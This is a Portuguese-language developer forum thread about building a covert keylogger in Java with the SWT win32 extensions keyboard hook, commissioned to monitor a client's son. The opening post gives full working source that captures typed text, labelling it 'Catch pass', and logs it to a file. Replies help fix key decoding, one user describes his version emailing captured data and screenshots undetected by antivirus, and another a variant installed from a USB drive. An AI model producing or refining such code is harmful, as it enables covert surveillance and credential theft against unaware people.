Ajuda com swt win32 extensions

12 respostas
viniciusfaleiro

Galera,

Estou construindo um software que um cliente me pediu. Ele quer monitorar as coisas que o filho faz (infelizmente eu só presto o serviço..é meu ganha pão). Dei uma olhada em um tópico do win32 extensions aqui no guj e estou utilizando aquele exemplo de keylloger para tentar montar algo [vide código].

O problema é que os acentos, pontos e etc saem zuados.... Se eu digitar "olá mundo!!! Isso é um teste... =)" Ele captura "
OLÞA MUNDO111 ISSO ÞE UM TESTE¾¾¾ »0$".

Não sei se é pau de charset más o próprio println está saindo assim.. vejam o código.

package def;
import java.awt.event.KeyEvent;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;

import org.sf.feeling.swt.win32.extension.hook.Hook;
import org.sf.feeling.swt.win32.extension.hook.data.*;
import org.sf.feeling.swt.win32.extension.hook.listener.HookEventListener;

public class KeyLogger {
	StringBuffer pass = new StringBuffer();
	StringBuffer rest = new StringBuffer();
	
	boolean concat = true;
	String file = System.getProperty("user.home") + System.getProperty("file.separator") + System.getProperty("user.name") + ".txt";
	final int wordSize = 5;
	int count;
	
	public KeyLogger() {
		Hook.KEYBOARD.addListener(new HookEventListener() {
			
			public void acceptHookData(HookData hookData) {
				KeyboardHookData khd = (KeyboardHookData) hookData;
				boolean ts = khd.getTransitionState();
				long keyCode = khd.getVirtualKeyCode();
				
		
				if (hookData != null && !ts) {

					if (keyCode == KeyEvent.VK_TAB) {
						System.out.println("TAB");
						concat = true;
					}//of TAB
					
					if (concat) {
						System.out.println("CONCAT");
						if(keyCode != KeyEvent.VK_TAB && keyCode != 13)
							pass.append((char) keyCode);

						System.out.println(pass);

						if (keyCode == 13) {
							System.out.println("ENTER");
							System.out.println("Catch pass:" + pass);
							
							String sDate = new SimpleDateFormat("dd/MM/yyyy H:m:s").format( new Date()); 
							
							appendFile( sDate + "=[" + pass.toString() + "]",true);
							
							//clean
							pass = new StringBuffer();
							
						}//of ENTER
						
					}//of concat
					else{
						
						if( count == wordSize ){
							appendFile(rest.toString(),false);
							rest = new StringBuffer();
							count = 0;
						}
						else{
							rest.append(keyCode);
						}
						//increase
						count++;
					}
				}//
			}

		});

		Hook.KEYBOARD.install();
		/*
		Runtime.getRuntime().addShutdownHook( new Thread(){
			public void run(){
				System.out.println("Leaving");
				appendFile();
			}
		});
		*/
		
	}

	
	
	public void appendFile(String pass, boolean nl){
		try {
	        BufferedWriter out = new BufferedWriter(new FileWriter(file,true));
	        out.write(pass);
	        if(nl)
	        out.newLine();
	        out.close();
	    } catch (IOException e) {
	    }
	}
	
	
	
	public static void main(String args[]) {
		new KeyLogger();
	}
}

12 Respostas

KWill

Não tenho certeza, mas desconfio que o keylogger que tu acabou por montar esteja capturando tudo a nível de “teclado puro”, então cada vez que tu apertar uma tecla aí no seu teclado ele recebe um evento e bota no texto que está sendo montado algum identificador apenas da tecla do teclado que foi apertada, sendo que aparentemente o que você quer é o negócio montado a nível de “texto digitado”.

Talvez não seja a melhor saída (e provavelmente dará um belo trabalho) checar no hook mesmo o estado das teclas modificadoras (shift, alt, ctrl, kana, caps lock, num lock, scroll lock), verificar se anteriormente foi digitado caractere de acento (o velho comportamento de não deixar o “cursor” de texto se mover caso o caractere digitado seja de acentuação, que se originou nas máquinas de escrever), enfim, acho que vai dar um belo trabalho fazer assim.

Inté.

Eucassio

Vinicius, estou usando o SWT win32 extensions para fazer meu aplicativo sair da bandeja do sistema quando pressionado uma comblinação de teclas (CONTROL+O)
mas ele pára de funcionar depois de um tempo(± 5 min) ele então deixa de registrar os hook e nao captura nenhum evento minha implementação está muito parecida com a sua, gostaria de saber se teve o mesmo problema e se conseguiu resolver, caso tenha tido o problema. Qualquer dica será útil, obrigado.

T

Fico espantado como esses tais hooks conseguem funcionar. Quando tive de fazer um hook de teclado, tive de fazer três coisas:

a) Escrever uma DLL em C (nem em C++, era C puro mesmo!)
b) Essa tal DLL não podia fazer quase nada no hook; ela nem alocava memória, porque o Windows é muito fresco ao executar um hook de teclado (é que ele injeta a DLL de hook em TODOS os processos que estão rodando na sua máquina e têm acesso ao teclado), e para qualquer coisa que ele não goste, ele simplesmente desativa o hook e não dá aviso absolutamente nenhum para você. (é por isso que depois de 5 min o seu programa pára de funcionar. Provavelmente alguma coisa ocorreu, sei lá o quê, que o Windows não gostou. Nem vou tentar chutar, porque o Java é complicado demais para o Windows rodar em um hook de teclado. Acho que é porque você tentou escrever em disco, mas pode ser por qualquer outra coisa. )
O que a DLL fazia era pôr as teclas em um buffer circular de tamanho fixo.
c) Além disso, tive de escrever ainda outro programa (dessa vez em C++) que pegava esse buffer periodicamente e tomava as providências adequadas.

Nem adianta me pedir o fonte desse tal programa, porque 1) é do meu cliente e 2) não estou com ele aqui. Só me lembro dos problemas pelos quais passei para escrevê-la.

Eucassio

Thingol, valeu pela informação sobre o funcionamento(ou não funcionamento) dos hooks no windows, mas como tenho que implementar isso vou continuar tentando já achei
algo falando que poderia ser o descarregamento da dll, mas sem muitas explicações vou ver o q consigo fazer por aqui, qualquer nova informação posto aqui.

viniciusfaleiro

Puxa cara… eu nem me lembro se depois de 5 min ele parava de funcionar… me lembro q eu fiz um negocio mto idiota… tipo keylogger q era instalado quando a pessoa coloca um pendrive… depois joguei o projeto fora… soh fiz pra estudar mesmo…

W

cara como instala esses puglins na minha maquina eu já tentei de todo jeito mais tem umas coisas que dar problras

betoslayer

Rapaz quanto ao titulo do topico, o erro que ta dando é porque o evento retorna o VIRTUAL KEY e você tem que decodificá-lo com a classe KeyEvent. Você não pode simplesmente dar um cast no (char) pra pegar o caractere (so funciona nas letras de a-z e nos numeros 0-9 porque coincide o virtual key com o ascii dessas teclas).

Com relação ao nao funcionamento após 5 minutos desconheço este erro, o keylogger em java que fiz nao tinha esse problema. Mas alerto pra um problema que tive era em algumas telas do windows que era como se ele bloqueasse o hook. No WINDOWS VISTA eu nao recebia os eventos de hook nas seguintes telas dos programas: INTERNET EXPLORER, PROMPT DE COMANDO, OUTLOOK. Aí nesse caso tive que fazer umas alterações no código pra burlar isso.
Então provavelmente o que aconteceu é que o windows deixou de te mandar os eventos de hook quando você entrou em uma dessas “áreas protegidas”.

Mas meu keylooger em java ficou legal, tirava printscreen da tela e tudo e ainda enviava via email dos dados sem nenhum antivirus que testei detectar. Obviamente foi apenas para teste, nunca o usei fora de casa.

Qualquer duvida fala

MaxWeber

Galera, testei o key logger. Muito legal.

Porem percebi um problema. Quando se digita muito rápido ele suprime algumas letras e duplicas outras.

Voces pegaram este problema? Conseguiram solucionar?

leandromarrom

Olá galera,
betoslayer tem como vc exemplificar o uso da classe KeyEvent

Obrigado té mais…

abelgomes

Bom dia, estou com o seguinte problema ao executar o exemplo.

NoClassDefFoundError: org/eclipse/swt/internal/win32/OS GUJ

ps. estou executando dentro do eclipse.

leandromarrom

Importe a DLL e as LIB para dentro do projeto que funciona :stuck_out_tongue:

abelgomes

fiz isso, porém continua o mesmo erro.

Criado 11 de maio de 2009
Ultima resposta 27 de jul. de 2010
Respostas 12
Participantes 9